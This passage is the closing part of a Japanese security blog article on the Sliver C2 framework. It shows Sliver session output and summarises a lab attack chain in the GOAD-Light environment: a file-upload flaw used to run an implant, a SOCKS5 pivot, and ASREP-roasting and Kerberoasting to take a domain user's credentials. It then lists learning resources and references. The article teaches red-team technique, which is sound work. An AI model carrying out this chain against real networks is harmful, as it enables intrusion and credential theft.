               UID: S-1-5-21-2070909237-3883694846-2238867335-1118
               GID: S-1-5-21-2070909237-3883694846-2238867335-513
               PID: 7412
                OS: windows
           Version: Server 2016 build 17763 x86_64
            Locale: en-US
              Arch: amd64
         Active C2:
    Remote Address: 192.168.200.22:50356->CONFIDENTIAL_MISS->
         Proxy URL:
Reconnect Interval: 1m0s
     First Contact: Sun Aug 23 14:59:13 EDT 2026 (2m57s ago)
      Last Checkin: Sun Aug 23 15:01:13 EDT 2026 (57s ago)
1
1

ファイルアップロードの脆弱性でSRV02(castelblack)上でImplantを実行し、SOCKS5プロキシで内部ネットワークに接続しました。 その後、ASREP-RoastingとKerberoastingを使用してjon.snowユーザーとしての資格情報を得ました。 最後に、SRV02(castelblack)上のImplantを経由したピボット接続で、DC02(winterfell)上のjon.snowユーザーとしてsessionを確立しました。

6. Sliverの学習に役立つ情報

Sliverは多くの機能を備えているため、公式ドキュメント[21]で現在の仕様を確認し、開発元が公開しているワークショップで操作の流れを学んだ後、隔離した演習環境で再現すると理解しやすいと思います。

6-1. 公式ドキュメント

まずは、公式ドキュメントのGetting Started[3]に沿って、次の順序で基本操作を試すことを推奨します。

  1. Sliver Clientを起動し、Sliver Serverへの接続を確認する
  2. mTLSまたはHTTPSのC2リスナーを1つ起動する
  3. Session型とBeacon型のImplantをそれぞれ生成する
  4. whoami、pwd、ls、ファイル転送などの基本操作を試す
  5. 2つのネットワークを用意し、ポートフォワーディングとSOCKS5を試す
  6. 必要に応じてマルチプレイヤーモードやArmoryを試す

6-2. 公式ワークショップ

Sliverの開発元であるBishop Foxは、Sliverを題材にした公式ワークショップを録画で公開しています[22]。

  1. Sliver Workshop Part 1: Getting Started & 1.6 Features[23]
  2. Sliver Workshop Part 2: Staging & Automation[24]
  3. Sliver Workshop Part 3: Building Better Encoders[25]

7. 最後に

今回は、オープンソースのC2フレームワークであるSliverについて概要と基本的な使い方、特徴的な機能、インストール方法を紹介しました。 また、GOAD-Lightを使用し、外部から直接到達できない内部ネットワークへアクセスする流れを紹介しました。
Sliverは2020年にv1.0.0-betaが公開されて以降、オープンソースのC2フレームワークとして広く知られるようになり、セキュリティ専門家だけでなく攻撃者の悪用事例も確認されています。以前紹介したCobalt Strike[26]は高価かつ購入に審査が必要な商用製品であるため、今回は初学者が気軽に扱うことができるC2フレームワークとしてSliverを紹介しました。
本記事がC2フレームワークの概要を理解する一助となれば幸いです。

参考文献

[1] Sliver - Adversary Emulation Framework
https://github.com/BishopFox/sliver

[2] Sliver Documentation - Architecture
https://sliver.sh/docs/?name=Architecture

[3] Sliver Documentation - Getting Started
https://sliver.sh/docs/?name=Getting%20Started

[4] Sliver Documentation - Linux Install Script
https://sliver.sh/docs/?name=Linux%20Install%20Script

[5] Sliver Documentation - HTTPS C2
https://sliver.sh/docs/?name=HTTPS%20C2

[6] Sliver Documentation - DNS C2
https://sliver.sh/docs/?name=DNS%20C2

[7] Sliver Documentation - Port Forwarding
https://sliver.sh/docs/?name=Port%20Forwarding

[8] Sliver Documentation - Reverse SOCKS
https://sliver.sh/docs/?name=Reverse%20SOCKS

[9] BishopFox/Sliver v1.7.3 - SOCKS5 Command Definition
https://github.com/BishopFox/sliver/blob/v1.7.3/client/command/socks/commands.go

[10] Sliver Documentation - Pivots
https://sliver.sh/docs/?name=Pivots

[11] Sliver Documentation - Multi-player Mode
https://sliver.sh/docs/?name=Multi-player%20Mode

[12] Sliver Documentation - Armory
https://sliver.sh/docs/?name=Armory

[13] BishopFox/Sliver Releases
https://github.com/BishopFox/sliver/releases

[14] Game of Active Directory - GOAD-Light
https://orange-cyberdefense.github.io/GOAD/labs/GOAD-Light/

[15] Orange-Cyberdefense/GOAD - GOAD-Light Default.aspx
https://github.com/Orange-Cyberdefense/GOAD/blob/main/ad/GOAD-Light/files/srv02/wwwroot/Default.aspx

[16] PayloadsAllTheThings - shell.aspx
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Extension%20ASP/shell.aspx

[17] BishopFox/Sliver v1.7.3
https://github.com/BishopFox/sliver/releases/tag/v1.7.3

[18] Orange-Cyberdefense/GOAD - GOAD-Light config.json
https://github.com/Orange-Cyberdefense/GOAD/blob/main/ad/GOAD-Light/data/config.json

[19] Fortra Impacket - GetNPUsers.py
https://github.com/fortra/impacket/blob/master/examples/GetNPUsers.py

[20] Fortra Impacket - GetUserSPNs.py
https://github.com/fortra/impacket/blob/master/examples/GetUserSPNs.py

[21] Sliver Documentation
https://sliver.sh/docs/

[22] Bishop Fox - Workshops & Training
https://bishopfox.com/resources/workshop-and-training-sessions

[23] Bishop Fox - Sliver Workshop Part 1: Getting Started & 1.6 Features
https://bishopfox.com/resources/discord-exclusive-workshop-sliver-getting-started-1-6-features

[24] Bishop Fox - Sliver Workshop Part 2: Staging & Automation
https://bishopfox.com/resources/sliver-workshop-part-2-staging-automation

[25] Bishop Fox - Sliver Workshop Part 3: Building Better Encoders
https://bishopfox.com/resources/sliver-workshop-part-3-building-better-encoders

[26] Cobalt Strikeを使ってみよう: NECセキュリティブログ | NEC
https://group.nec/jp/ja/solutions/cybersecurity/blog/250801

執筆者プロフィール

original
50

外山 拓(とやま たく)
担当領域:リスクハンティング
専門分野:オフェンシブセキュリティ

ペネトレーションテストやTLPTを主な業務としつつ、セキュリティ研修講師や社内CTF運営として得られた知見を社内外に還元している。
情報処理安全確保支援士(RISS)/CISSP,CCSP/CISA,CISM/GXPN/CEH MASTER/CRTP,CRTE/CRTO,CRTL/OSCP+,OSWE,OSED/IPA(ES,SC,NW)/AWS(SAP,SCS)/Azure(AZ-305,SC-100)/LinuC303/RHCSA/2級鍵師/甲種火薬類取扱保安責任者/危険物乙種3,4,5,6類/CVE19件報告実績などを保持。